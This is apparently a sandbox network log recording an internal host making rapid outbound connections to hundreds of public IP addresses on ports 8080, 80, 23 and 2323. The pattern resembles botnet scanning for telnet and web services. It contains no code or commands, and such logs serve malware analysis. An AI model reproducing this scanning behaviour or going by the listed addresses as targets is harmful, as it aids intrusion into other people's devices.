Mar 4, 2024 15:05:32.159390926 CET	47577	8080	192.168.2.13	94.42.2.211
Mar 4, 2024 15:05:32.159399986 CET	47577	8080	192.168.2.13	94.255.154.9
Mar 4, 2024 15:05:32.159399986 CET	47577	8080	192.168.2.13	95.107.91.61
Mar 4, 2024 15:05:32.159399986 CET	48089	80	192.168.2.13	112.8.103.130
Mar 4, 2024 15:05:32.159399986 CET	48089	80	192.168.2.13	112.252.166.81
Mar 4, 2024 15:05:32.159403086 CET	47577	8080	192.168.2.13	95.254.127.66
Mar 4, 2024 15:05:32.159399986 CET	47577	8080	192.168.2.13	94.158.91.12
Mar 4, 2024 15:05:32.159399986 CET	48089	80	192.168.2.13	112.193.217.195
Mar 4, 2024 15:05:32.159400940 CET	48089	80	192.168.2.13	112.113.24.145
Mar 4, 2024 15:05:32.159420967 CET	47577	8080	192.168.2.13	62.94.92.255
Mar 4, 2024 15:05:32.159420967 CET	48089	80	192.168.2.13	112.83.238.187
Mar 4, 2024 15:05:32.159425974 CET	48089	80	192.168.2.13	112.54.210.204
Mar 4, 2024 15:05:32.159425974 CET	47577	8080	192.168.2.13	31.241.45.32
Mar 4, 2024 15:05:32.159425974 CET	47577	8080	192.168.2.13	95.202.122.1
Mar 4, 2024 15:05:32.159446001 CET	47577	8080	192.168.2.13	85.24.144.246
Mar 4, 2024 15:05:32.159446001 CET	48089	80	192.168.2.13	112.142.87.198
Mar 4, 2024 15:05:32.159446001 CET	47577	8080	192.168.2.13	31.214.221.17
Mar 4, 2024 15:05:32.159446001 CET	47577	8080	192.168.2.13	94.65.106.215
Mar 4, 2024 15:05:32.159446001 CET	47577	8080	192.168.2.13	85.247.207.187
Mar 4, 2024 15:05:32.159447908 CET	48089	80	192.168.2.13	112.53.215.75
Mar 4, 2024 15:05:32.159456015 CET	47577	8080	192.168.2.13	94.234.238.43
Mar 4, 2024 15:05:32.159456015 CET	47577	8080	192.168.2.13	62.1.50.199
Mar 4, 2024 15:05:32.159465075 CET	47577	8080	192.168.2.13	94.224.135.121
Mar 4, 2024 15:05:32.159473896 CET	47577	8080	192.168.2.13	62.39.110.192
Mar 4, 2024 15:05:32.159473896 CET	47577	8080	192.168.2.13	85.212.79.26
Mar 4, 2024 15:05:32.159480095 CET	48089	80	192.168.2.13	112.255.60.40
Mar 4, 2024 15:05:32.159480095 CET	47577	8080	192.168.2.13	62.21.138.0
Mar 4, 2024 15:05:32.159482002 CET	47577	8080	192.168.2.13	62.105.158.140
Mar 4, 2024 15:05:32.159482002 CET	48089	80	192.168.2.13	112.7.93.151
Mar 4, 2024 15:05:32.159487963 CET	47577	8080	192.168.2.13	94.22.100.64
Mar 4, 2024 15:05:32.159492970 CET	47577	8080	192.168.2.13	94.185.182.243
Mar 4, 2024 15:05:32.159492970 CET	48089	80	192.168.2.13	112.91.130.217
Mar 4, 2024 15:05:32.159492970 CET	47577	8080	192.168.2.13	85.49.114.90
Mar 4, 2024 15:05:32.159493923 CET	48089	80	192.168.2.13	112.3.66.189
Mar 4, 2024 15:05:32.159502983 CET	47577	8080	192.168.2.13	94.78.252.130
Mar 4, 2024 15:05:32.159493923 CET	47577	8080	192.168.2.13	95.184.33.224
Mar 4, 2024 15:05:32.159502983 CET	47577	8080	192.168.2.13	85.25.175.100
Mar 4, 2024 15:05:32.159504890 CET	48089	80	192.168.2.13	112.101.91.21
Mar 4, 2024 15:05:32.159502983 CET	47577	8080	192.168.2.13	94.89.117.141
Mar 4, 2024 15:05:32.159493923 CET	47577	8080	192.168.2.13	94.217.108.8
Mar 4, 2024 15:05:32.159504890 CET	47577	8080	192.168.2.13	85.12.96.76
Mar 4, 2024 15:05:32.159502983 CET	47577	8080	192.168.2.13	95.210.37.128
Mar 4, 2024 15:05:32.159493923 CET	48089	80	192.168.2.13	112.52.62.27
Mar 4, 2024 15:05:32.159511089 CET	47577	8080	192.168.2.13	62.148.71.17
Mar 4, 2024 15:05:32.159503937 CET	47577	8080	192.168.2.13	62.81.123.197
Mar 4, 2024 15:05:32.159511089 CET	47577	8080	192.168.2.13	31.103.227.240
Mar 4, 2024 15:05:32.159503937 CET	47577	8080	192.168.2.13	62.152.138.204
Mar 4, 2024 15:05:32.159511089 CET	48089	80	192.168.2.13	112.162.131.236
Mar 4, 2024 15:05:32.159511089 CET	47577	8080	192.168.2.13	85.129.155.206
Mar 4, 2024 15:05:32.159503937 CET	48089	80	192.168.2.13	112.103.61.193
Mar 4, 2024 15:05:32.159503937 CET	47577	8080	192.168.2.13	62.219.205.86
Mar 4, 2024 15:05:32.159516096 CET	48089	80	192.168.2.13	112.99.68.126
Mar 4, 2024 15:05:32.159516096 CET	47577	8080	192.168.2.13	94.107.179.144
Mar 4, 2024 15:05:32.159516096 CET	47577	8080	192.168.2.13	31.192.179.27
Mar 4, 2024 15:05:32.159519911 CET	47577	8080	192.168.2.13	85.155.246.33
Mar 4, 2024 15:05:32.159517050 CET	48089	80	192.168.2.13	112.197.138.241
Mar 4, 2024 15:05:32.159521103 CET	47577	8080	192.168.2.13	62.140.199.7
Mar 4, 2024 15:05:32.159522057 CET	47577	8080	192.168.2.13	94.145.17.241
Mar 4, 2024 15:05:32.159519911 CET	47577	8080	192.168.2.13	95.97.242.174
Mar 4, 2024 15:05:32.159521103 CET	47577	8080	192.168.2.13	85.114.193.82
Mar 4, 2024 15:05:32.159522057 CET	47577	8080	192.168.2.13	62.16.163.145
Mar 4, 2024 15:05:32.159521103 CET	47577	8080	192.168.2.13	94.144.30.177
Mar 4, 2024 15:05:32.159522057 CET	47577	8080	192.168.2.13	85.172.105.240
Mar 4, 2024 15:05:32.159517050 CET	48089	80	192.168.2.13	112.36.60.104
Mar 4, 2024 15:05:32.159519911 CET	47577	8080	192.168.2.13	94.21.188.195
Mar 4, 2024 15:05:32.159522057 CET	48089	80	192.168.2.13	112.212.220.236
Mar 4, 2024 15:05:32.159519911 CET	47577	8080	192.168.2.13	31.150.67.3
Mar 4, 2024 15:05:32.159519911 CET	47577	8080	192.168.2.13	95.192.46.45
Mar 4, 2024 15:05:32.159517050 CET	47577	8080	192.168.2.13	62.122.159.187
Mar 4, 2024 15:05:32.159519911 CET	48089	80	192.168.2.13	112.217.95.144
Mar 4, 2024 15:05:32.159517050 CET	48089	80	192.168.2.13	112.58.230.191
Mar 4, 2024 15:05:32.159517050 CET	47577	8080	192.168.2.13	95.41.172.34
Mar 4, 2024 15:05:32.159543991 CET	48089	80	192.168.2.13	112.83.147.33
Mar 4, 2024 15:05:32.159543991 CET	47577	8080	192.168.2.13	94.254.169.128
Mar 4, 2024 15:05:32.159550905 CET	47577	8080	192.168.2.13	62.72.8.64
Mar 4, 2024 15:05:32.159554958 CET	47577	8080	192.168.2.13	62.249.85.112
Mar 4, 2024 15:05:32.159554958 CET	47577	8080	192.168.2.13	31.35.239.59
Mar 4, 2024 15:05:32.159570932 CET	47577	8080	192.168.2.13	95.198.120.49
Mar 4, 2024 15:05:32.159574986 CET	47577	8080	192.168.2.13	62.36.145.98
Mar 4, 2024 15:05:32.159574986 CET	47577	8080	192.168.2.13	62.113.6.64
Mar 4, 2024 15:05:32.159576893 CET	47577	8080	192.168.2.13	94.137.254.111
Mar 4, 2024 15:05:32.159579039 CET	48089	80	192.168.2.13	112.203.36.175
Mar 4, 2024 15:05:32.159579039 CET	47577	8080	192.168.2.13	94.150.83.146
Mar 4, 2024 15:05:32.159579039 CET	47577	8080	192.168.2.13	85.114.91.123
Mar 4, 2024 15:05:32.159579039 CET	48089	80	192.168.2.13	112.88.82.118
Mar 4, 2024 15:05:32.159579039 CET	47577	8080	192.168.2.13	85.121.225.74
Mar 4, 2024 15:05:32.159579039 CET	48089	80	192.168.2.13	112.219.21.91
Mar 4, 2024 15:05:32.159590960 CET	47577	8080	192.168.2.13	31.211.63.27
Mar 4, 2024 15:05:32.159595013 CET	47577	8080	192.168.2.13	94.215.223.127
Mar 4, 2024 15:05:32.159595013 CET	47577	8080	192.168.2.13	95.22.47.2
Mar 4, 2024 15:05:32.159631968 CET	48089	80	192.168.2.13	112.81.206.40
Mar 4, 2024 15:05:32.159631014 CET	47577	8080	192.168.2.13	31.77.241.98
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	31.52.79.195
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	94.85.12.86
Mar 4, 2024 15:05:32.159636021 CET	47577	8080	192.168.2.13	94.142.121.178
Mar 4, 2024 15:05:32.159636021 CET	47577	8080	192.168.2.13	94.2.254.19
Mar 4, 2024 15:05:32.159636021 CET	48089	80	192.168.2.13	112.196.27.224
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	62.87.69.53
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	85.42.97.12
Mar 4, 2024 15:05:32.159637928 CET	48089	80	192.168.2.13	112.70.83.150
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	94.132.24.44
Mar 4, 2024 15:05:32.159637928 CET	47577	8080	192.168.2.13	62.102.179.56
Mar 4, 2024 15:05:32.159631968 CET	47577	8080	192.168.2.13	94.116.165.119
Mar 4, 2024 15:05:32.159641981 CET	48089	80	192.168.2.13	112.228.139.253
Mar 4, 2024 15:05:32.159638882 CET	47577	8080	192.168.2.13	94.91.185.134
Mar 4, 2024 15:05:32.159631968 CET	48089	80	192.168.2.13	112.101.159.50
Mar 4, 2024 15:05:32.159638882 CET	48089	80	192.168.2.13	112.96.120.188
Mar 4, 2024 15:05:32.159638882 CET	48089	80	192.168.2.13	112.116.162.13
Mar 4, 2024 15:05:32.159662008 CET	47577	8080	192.168.2.13	95.101.26.126
Mar 4, 2024 15:05:32.159662008 CET	48089	80	192.168.2.13	112.243.21.168
Mar 4, 2024 15:05:32.159662962 CET	47577	8080	192.168.2.13	95.205.140.104
Mar 4, 2024 15:05:32.159662962 CET	47577	8080	192.168.2.13	31.14.203.65
Mar 4, 2024 15:05:32.159662008 CET	47577	8080	192.168.2.13	95.85.55.3
Mar 4, 2024 15:05:32.159662962 CET	47577	8080	192.168.2.13	94.87.26.197
Mar 4, 2024 15:05:32.159662008 CET	47577	8080	192.168.2.13	85.99.11.49
Mar 4, 2024 15:05:32.159662008 CET	47577	8080	192.168.2.13	85.2.163.192
Mar 4, 2024 15:05:32.159662008 CET	47577	8080	192.168.2.13	85.191.23.78
Mar 4, 2024 15:05:32.159662962 CET	47577	8080	192.168.2.13	95.113.248.235
Mar 4, 2024 15:05:32.159662962 CET	48089	80	192.168.2.13	112.88.2.106
Mar 4, 2024 15:05:32.159676075 CET	48089	80	192.168.2.13	112.29.207.24
Mar 4, 2024 15:05:32.159682989 CET	48089	80	192.168.2.13	112.1.49.82
Mar 4, 2024 15:05:32.159682989 CET	47577	8080	192.168.2.13	95.198.163.65
Mar 4, 2024 15:05:32.159697056 CET	47577	8080	192.168.2.13	31.125.141.5
Mar 4, 2024 15:05:32.159698963 CET	47577	8080	192.168.2.13	31.155.178.215
Mar 4, 2024 15:05:32.159713030 CET	47577	8080	192.168.2.13	31.253.194.163
Mar 4, 2024 15:05:32.159713030 CET	47577	8080	192.168.2.13	94.170.37.143
Mar 4, 2024 15:05:32.159720898 CET	47577	8080	192.168.2.13	85.64.253.83
Mar 4, 2024 15:05:32.159720898 CET	47577	8080	192.168.2.13	31.170.26.114
Mar 4, 2024 15:05:32.159720898 CET	48089	80	192.168.2.13	112.43.22.136
Mar 4, 2024 15:05:32.159720898 CET	47577	8080	192.168.2.13	85.73.14.148
Mar 4, 2024 15:05:32.159720898 CET	47577	8080	192.168.2.13	94.143.154.35
Mar 4, 2024 15:05:32.159720898 CET	47577	8080	192.168.2.13	31.248.108.158
Mar 4, 2024 15:05:32.159737110 CET	47577	8080	192.168.2.13	95.152.251.67
Mar 4, 2024 15:05:32.159738064 CET	48089	80	192.168.2.13	112.93.0.203
Mar 4, 2024 15:05:32.159738064 CET	47577	8080	192.168.2.13	95.47.189.29
Mar 4, 2024 15:05:32.159738064 CET	47577	8080	192.168.2.13	95.167.111.29
Mar 4, 2024 15:05:32.159738064 CET	47577	8080	192.168.2.13	95.131.148.226
Mar 4, 2024 15:05:32.159738064 CET	47577	8080	192.168.2.13	95.82.132.156
Mar 4, 2024 15:05:32.159749031 CET	47577	8080	192.168.2.13	94.244.54.163
Mar 4, 2024 15:05:32.159749985 CET	47577	8080	192.168.2.13	62.39.24.194
Mar 4, 2024 15:05:32.159749985 CET	47577	8080	192.168.2.13	85.157.104.176
Mar 4, 2024 15:05:32.159749031 CET	47577	8080	192.168.2.13	95.20.1.148
Mar 4, 2024 15:05:32.159750938 CET	47577	8080	192.168.2.13	95.199.102.116
Mar 4, 2024 15:05:32.159774065 CET	47577	8080	192.168.2.13	31.155.139.248
Mar 4, 2024 15:05:32.159774065 CET	47577	8080	192.168.2.13	85.4.164.218
Mar 4, 2024 15:05:32.159774065 CET	51154	80	192.168.2.13	88.204.194.249
Mar 4, 2024 15:05:32.159775019 CET	47577	8080	192.168.2.13	94.77.116.144
Mar 4, 2024 15:05:32.159774065 CET	47577	8080	192.168.2.13	94.156.132.251
Mar 4, 2024 15:05:32.159775019 CET	47577	8080	192.168.2.13	94.173.65.160
Mar 4, 2024 15:05:32.159775019 CET	47577	8080	192.168.2.13	95.36.170.28
Mar 4, 2024 15:05:32.159775019 CET	47577	8080	192.168.2.13	94.83.195.70
Mar 4, 2024 15:05:32.159775019 CET	47577	8080	192.168.2.13	85.204.62.72
Mar 4, 2024 15:05:32.159785032 CET	47577	8080	192.168.2.13	62.11.144.171
Mar 4, 2024 15:05:32.159784079 CET	47577	8080	192.168.2.13	62.21.80.245
Mar 4, 2024 15:05:32.159785032 CET	47577	8080	192.168.2.13	62.237.12.117
Mar 4, 2024 15:05:32.159785032 CET	50393	23	192.168.2.13	52.85.54.9
Mar 4, 2024 15:05:32.159785032 CET	47577	8080	192.168.2.13	31.98.199.160
Mar 4, 2024 15:05:32.159785032 CET	50393	23	192.168.2.13	133.237.240.136
Mar 4, 2024 15:05:32.159785032 CET	50393	23	192.168.2.13	38.10.144.151
Mar 4, 2024 15:05:32.159785032 CET	47577	8080	192.168.2.13	85.87.164.242
Mar 4, 2024 15:05:32.159811974 CET	47577	8080	192.168.2.13	95.63.233.118
Mar 4, 2024 15:05:32.159811974 CET	50393	23	192.168.2.13	159.208.95.169
Mar 4, 2024 15:05:32.159811974 CET	47577	8080	192.168.2.13	95.107.88.145
Mar 4, 2024 15:05:32.159811974 CET	50393	23	192.168.2.13	112.252.182.18
Mar 4, 2024 15:05:32.159811974 CET	50393	23	192.168.2.13	132.16.94.31
Mar 4, 2024 15:05:32.159816980 CET	50393	23	192.168.2.13	49.55.151.150
Mar 4, 2024 15:05:32.159816980 CET	50393	23	192.168.2.13	137.216.150.160
Mar 4, 2024 15:05:32.159816980 CET	47577	8080	192.168.2.13	62.221.71.72
Mar 4, 2024 15:05:32.159816980 CET	47577	8080	192.168.2.13	95.157.225.240
Mar 4, 2024 15:05:32.159816980 CET	47577	8080	192.168.2.13	31.63.1.104
Mar 4, 2024 15:05:32.159816980 CET	50393	23	192.168.2.13	118.4.139.54
Mar 4, 2024 15:05:32.159816980 CET	50393	23	192.168.2.13	141.14.70.139
Mar 4, 2024 15:05:32.159821987 CET	47577	8080	192.168.2.13	62.82.3.181
Mar 4, 2024 15:05:32.159821987 CET	50393	23	192.168.2.13	223.97.10.118
Mar 4, 2024 15:05:32.159821987 CET	47577	8080	192.168.2.13	31.146.137.225
Mar 4, 2024 15:05:32.159821987 CET	47577	8080	192.168.2.13	62.185.208.76
Mar 4, 2024 15:05:32.159821987 CET	50393	23	192.168.2.13	110.133.180.120
Mar 4, 2024 15:05:32.159832954 CET	47577	8080	192.168.2.13	94.183.247.70
Mar 4, 2024 15:05:32.159832954 CET	50393	23	192.168.2.13	151.140.36.178
Mar 4, 2024 15:05:32.159832954 CET	47577	8080	192.168.2.13	31.155.203.221
Mar 4, 2024 15:05:32.159832954 CET	50393	23	192.168.2.13	186.185.63.140
Mar 4, 2024 15:05:32.159832954 CET	47577	8080	192.168.2.13	31.190.212.106
Mar 4, 2024 15:05:32.159833908 CET	50393	23	192.168.2.13	18.100.112.138
Mar 4, 2024 15:05:32.159833908 CET	50393	23	192.168.2.13	83.219.28.102
Mar 4, 2024 15:05:32.159833908 CET	47577	8080	192.168.2.13	62.105.151.70
Mar 4, 2024 15:05:32.159848928 CET	47577	8080	192.168.2.13	85.208.149.4
Mar 4, 2024 15:05:32.159848928 CET	47577	8080	192.168.2.13	95.238.74.66
Mar 4, 2024 15:05:32.159848928 CET	47577	8080	192.168.2.13	95.218.22.141
Mar 4, 2024 15:05:32.159848928 CET	47577	8080	192.168.2.13	94.222.255.215
Mar 4, 2024 15:05:32.159848928 CET	50393	23	192.168.2.13	69.47.42.197
Mar 4, 2024 15:05:32.159848928 CET	47577	8080	192.168.2.13	94.144.41.138
Mar 4, 2024 15:05:32.159869909 CET	47577	8080	192.168.2.13	31.111.214.60
Mar 4, 2024 15:05:32.159869909 CET	47577	8080	192.168.2.13	95.134.240.156
Mar 4, 2024 15:05:32.159869909 CET	47577	8080	192.168.2.13	94.114.2.53
Mar 4, 2024 15:05:32.159871101 CET	50393	23	192.168.2.13	68.222.207.196
Mar 4, 2024 15:05:32.159871101 CET	47577	8080	192.168.2.13	95.205.174.164
Mar 4, 2024 15:05:32.159871101 CET	50393	23	192.168.2.13	14.70.115.239
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	85.74.95.183
Mar 4, 2024 15:05:32.159871101 CET	47577	8080	192.168.2.13	85.125.206.220
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	31.66.139.93
Mar 4, 2024 15:05:32.159871101 CET	50393	23	192.168.2.13	191.10.251.97
Mar 4, 2024 15:05:32.159874916 CET	50393	23	192.168.2.13	82.82.47.67
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	94.91.131.35
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	95.1.44.128
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	85.180.9.30
Mar 4, 2024 15:05:32.159874916 CET	50393	23	192.168.2.13	108.114.75.254
Mar 4, 2024 15:05:32.159874916 CET	47577	8080	192.168.2.13	95.209.194.119
Mar 4, 2024 15:05:32.159879923 CET	50393	23	192.168.2.13	191.17.161.214
Mar 4, 2024 15:05:32.159879923 CET	47577	8080	192.168.2.13	94.67.39.6
Mar 4, 2024 15:05:32.159879923 CET	50393	23	192.168.2.13	143.79.61.71
Mar 4, 2024 15:05:32.159879923 CET	50393	23	192.168.2.13	208.148.146.251
Mar 4, 2024 15:05:32.159879923 CET	47577	8080	192.168.2.13	94.109.198.208
Mar 4, 2024 15:05:32.159879923 CET	50393	23	192.168.2.13	172.170.63.73
Mar 4, 2024 15:05:32.159879923 CET	50393	2323	192.168.2.13	153.14.89.187
Mar 4, 2024 15:05:32.159879923 CET	47577	8080	192.168.2.13	95.165.62.118
Mar 4, 2024 15:05:32.159892082 CET	47577	8080	192.168.2.13	85.217.248.87
Mar 4, 2024 15:05:32.159892082 CET	50393	23	192.168.2.13	114.248.210.120
Mar 4, 2024 15:05:32.159892082 CET	50393	23	192.168.2.13	40.179.10.145
Mar 4, 2024 15:05:32.159892082 CET	47577	8080	192.168.2.13	95.135.62.133
Mar 4, 2024 15:05:32.159892082 CET	50393	2323	192.168.2.13	122.184.170.242
Mar 4, 2024 15:05:32.159892082 CET	50393	23	192.168.2.13	48.44.101.155
Mar 4, 2024 15:05:32.159893036 CET	50393	23	192.168.2.13	68.199.100.18
Mar 4, 2024 15:05:32.159892082 CET	47577	8080	192.168.2.13	95.212.62.174
Mar 4, 2024 15:05:32.159893036 CET	50393	23	192.168.2.13	27.204.254.217
Mar 4, 2024 15:05:32.159892082 CET	50393	23	192.168.2.13	167.48.6.179
Mar 4, 2024 15:05:32.159893036 CET	47577	8080	192.168.2.13	95.205.51.44
Mar 4, 2024 15:05:32.159893036 CET	50393	23	192.168.2.13	142.103.235.241
Mar 4, 2024 15:05:32.159893036 CET	47577	8080	192.168.2.13	85.9.4.74
Mar 4, 2024 15:05:32.159893036 CET	47577	8080	192.168.2.13	94.161.109.202
Mar 4, 2024 15:05:32.159893990 CET	47577	8080	192.168.2.13	94.107.33.19
Mar 4, 2024 15:05:32.159893990 CET	50393	23	192.168.2.13	72.105.88.224
Mar 4, 2024 15:05:32.159955978 CET	47577	8080	192.168.2.13	31.236.108.64
Mar 4, 2024 15:05:32.159955978 CET	50393	23	192.168.2.13	68.108.71.7
Mar 4, 2024 15:05:32.159955978 CET	50393	2323	192.168.2.13	85.48.172.211
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	85.77.132.205
Mar 4, 2024 15:05:32.159955978 CET	50393	23	192.168.2.13	53.29.201.176
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	31.75.238.94
Mar 4, 2024 15:05:32.159955978 CET	50393	23	192.168.2.13	41.233.179.4
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	31.69.53.110
Mar 4, 2024 15:05:32.159957886 CET	50393	23	192.168.2.13	117.100.67.42
Mar 4, 2024 15:05:32.159955978 CET	50393	23	192.168.2.13	9.47.200.205
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	85.57.119.188
Mar 4, 2024 15:05:32.159955978 CET	47577	8080	192.168.2.13	85.250.11.206
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	62.111.225.32
Mar 4, 2024 15:05:32.159955978 CET	50393	23	192.168.2.13	186.201.22.70
Mar 4, 2024 15:05:32.159957886 CET	50393	23	192.168.2.13	216.113.114.83
Mar 4, 2024 15:05:32.159957886 CET	47577	8080	192.168.2.13	95.173.244.171
Mar 4, 2024 15:05:32.159976959 CET	50393	23	192.168.2.13	125.213.201.124
Mar 4, 2024 15:05:32.159976959 CET	47577	8080	192.168.2.13	94.72.122.113
Mar 4, 2024 15:05:32.159976959 CET	47577	8080	192.168.2.13	95.119.22.230
Mar 4, 2024 15:05:32.159976959 CET	50393	23	192.168.2.13	84.67.119.119
Mar 4, 2024 15:05:32.159976959 CET	47577	8080	192.168.2.13	85.97.61.87
Mar 4, 2024 15:05:32.159976959 CET	47577	8080	192.168.2.13	62.136.244.145
Mar 4, 2024 15:05:32.159976959 CET	50393	23	192.168.2.13	164.182.150.236
Mar 4, 2024 15:05:32.159976959 CET	47577	8080	192.168.2.13	95.195.8.214
Mar 4, 2024 15:05:32.159980059 CET	47577	8080	192.168.2.13	85.26.51.181
Mar 4, 2024 15:05:32.159980059 CET	47577	8080	192.168.2.13	62.186.108.128
Mar 4, 2024 15:05:32.159980059 CET	47577	8080	192.168.2.13	95.11.120.215
Mar 4, 2024 15:05:32.159980059 CET	47577	8080	192.168.2.13	62.191.93.13
Mar 4, 2024 15:05:32.159980059 CET	50393	23	192.168.2.13	72.82.196.204
Mar 4, 2024 15:05:32.159980059 CET	50393	23	192.168.2.13	38.122.44.19
Mar 4, 2024 15:05:32.159980059 CET	47577	8080	192.168.2.13	31.224.18.16
Mar 4, 2024 15:05:32.159980059 CET	50393	23	192.168.2.13	61.235.66.145
Mar 4, 2024 15:05:32.159985065 CET	47577	8080	192.168.2.13	31.40.211.82
Mar 4, 2024 15:05:32.159985065 CET	47577	8080	192.168.2.13	85.0.67.60
Mar 4, 2024 15:05:32.159985065 CET	47577	8080	192.168.2.13	95.158.181.45
Mar 4, 2024 15:05:32.159985065 CET	47577	8080	192.168.2.13	85.11.211.231
Mar 4, 2024 15:05:32.159985065 CET	50393	23	192.168.2.13	89.49.27.87
Mar 4, 2024 15:05:32.159985065 CET	50393	23	192.168.2.13	171.246.9.237
Mar 4, 2024 15:05:32.159985065 CET	50393	23	192.168.2.13	144.17.198.14
Mar 4, 2024 15:05:32.159985065 CET	50393	23	192.168.2.13	189.99.194.207
Mar 4, 2024 15:05:32.159996986 CET	50393	23	192.168.2.13	143.85.97.171
Mar 4, 2024 15:05:32.159996986 CET	47577	8080	192.168.2.13	85.11.127.20
Mar 4, 2024 15:05:32.159996986 CET	50393	23	192.168.2.13	41.103.154.252
Mar 4, 2024 15:05:32.159996986 CET	47577	8080	192.168.2.13	62.50.2.168
Mar 4, 2024 15:05:32.159996986 CET	47577	8080	192.168.2.13	31.148.164.28
Mar 4, 2024 15:05:32.159996986 CET	50393	23	192.168.2.13	100.151.230.26
Mar 4, 2024 15:05:32.159996986 CET	47577	8080	192.168.2.13	85.136.40.193
Mar 4, 2024 15:05:32.159996986 CET	50393	23	192.168.2.13	191.58.198.63
Mar 4, 2024 15:05:32.160006046 CET	50393	23	192.168.2.13	99.6.135.65
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	94.192.252.229
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	94.205.217.181
Mar 4, 2024 15:05:32.160006046 CET	50393	23	192.168.2.13	77.26.253.167
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	94.236.17.225
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	62.88.25.119
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	85.120.104.175
Mar 4, 2024 15:05:32.160006046 CET	47577	8080	192.168.2.13	85.120.161.209
Mar 4, 2024 15:05:32.160023928 CET	50393	23	192.168.2.13	195.4.27.58
Mar 4, 2024 15:05:32.160023928 CET	50393	23	192.168.2.13	188.88.224.235
Mar 4, 2024 15:05:32.160023928 CET	47577	8080	192.168.2.13	95.161.213.2
Mar 4, 2024 15:05:32.160023928 CET	50393	23	192.168.2.13	213.227.240.56
Mar 4, 2024 15:05:32.160023928 CET	47577	8080	192.168.2.13	62.76.223.104
Mar 4, 2024 15:05:32.160023928 CET	47577	8080	192.168.2.13	85.121.8.97
Mar 4, 2024 15:05:32.160023928 CET	50393	23	192.168.2.13	209.42.209.151
Mar 4, 2024 15:05:32.160023928 CET	50393	23	192.168.2.13	51.129.86.42
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	31.86.115.89
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	94.120.240.142
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	62.234.88.199
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	85.58.70.78
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	31.213.99.217
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	85.19.202.245
Mar 4, 2024 15:05:32.160033941 CET	50393	23	192.168.2.13	9.83.115.234
Mar 4, 2024 15:05:32.160033941 CET	47577	8080	192.168.2.13	31.0.181.9
Mar 4, 2024 15:05:32.160036087 CET	50393	23	192.168.2.13	2.245.1.86
Mar 4, 2024 15:05:32.160036087 CET	47577	8080	192.168.2.13	94.105.75.63
Mar 4, 2024 15:05:32.160037041 CET	50393	23	192.168.2.13	176.200.245.93
Mar 4, 2024 15:05:32.160037041 CET	50393	23	192.168.2.13	27.47.104.178
Mar 4, 2024 15:05:32.160037041 CET	47577	8080	192.168.2.13	95.219.250.184
Mar 4, 2024 15:05:32.160037041 CET	47577	8080	192.168.2.13	31.82.17.188
Mar 4, 2024 15:05:32.160037041 CET	50393	23	192.168.2.13	41.71.139.158
Mar 4, 2024 15:05:32.160037041 CET	47577	8080	192.168.2.13	31.28.98.43
Mar 4, 2024 15:05:32.160037041 CET	47577	8080	192.168.2.13	31.71.238.75
Mar 4, 2024 15:05:32.160037041 CET	47577	8080	192.168.2.13	62.173.26.22
Mar 4, 2024 15:05:32.160075903 CET	47577	8080	192.168.2.13	85.16.173.228
Mar 4, 2024 15:05:32.160075903 CET	50393	23	192.168.2.13	47.49.10.129
Mar 4, 2024 15:05:32.160075903 CET	47577	8080	192.168.2.13	62.84.81.251
Mar 4, 2024 15:05:32.160075903 CET	47577	8080	192.168.2.13	94.253.61.79
Mar 4, 2024 15:05:32.160075903 CET	50393	23	192.168.2.13	12.145.30.84
Mar 4, 2024 15:05:32.160075903 CET	50393	23	192.168.2.13	160.44.124.60
Mar 4, 2024 15:05:32.160075903 CET	47577	8080	192.168.2.13	85.47.204.155
Mar 4, 2024 15:05:32.160075903 CET	47577	8080	192.168.2.13	94.128.181.208
Mar 4, 2024 15:05:32.160115957 CET	47577	8080	192.168.2.13	95.42.18.124
Mar 4, 2024 15:05:32.160123110 CET	50393	23	192.168.2.13	146.93.238.128
Mar 4, 2024 15:05:32.160123110 CET	47577	8080	192.168.2.13	31.150.56.255
Mar 4, 2024 15:05:32.160123110 CET	50393	23	192.168.2.13	111.9.242.122
Mar 4, 2024 15:05:32.160123110 CET	50393	23	192.168.2.13	222.63.7.255
Mar 4, 2024 15:05:32.160123110 CET	50393	23	192.168.2.13	223.176.168.186
Mar 4, 2024 15:05:32.160123110 CET	50393	23	192.168.2.13	194.163.27.200
Mar 4, 2024 15:05:32.160123110 CET	50393	2323	192.168.2.13	23.91.237.49
Mar 4, 2024 15:05:32.160135031 CET	50393	23	192.168.2.13	72.121.123.33
Mar 4, 2024 15:05:32.160135031 CET	50393	23	192.168.2.13	185.211.243.74
Mar 4, 2024 15:05:32.160135031 CET	50393	23	192.168.2.13	102.151.250.124
Mar 4, 2024 15:05:32.160135031 CET	47577	8080	192.168.2.13	85.182.44.133
Mar 4, 2024 15:05:32.160135031 CET	50393	23	192.168.2.13	185.167.23.189
Mar 4, 2024 15:05:32.160142899 CET	47577	8080	192.168.2.13	62.220.103.31
Mar 4, 2024 15:05:32.160142899 CET	50393	23	192.168.2.13	152.84.21.143
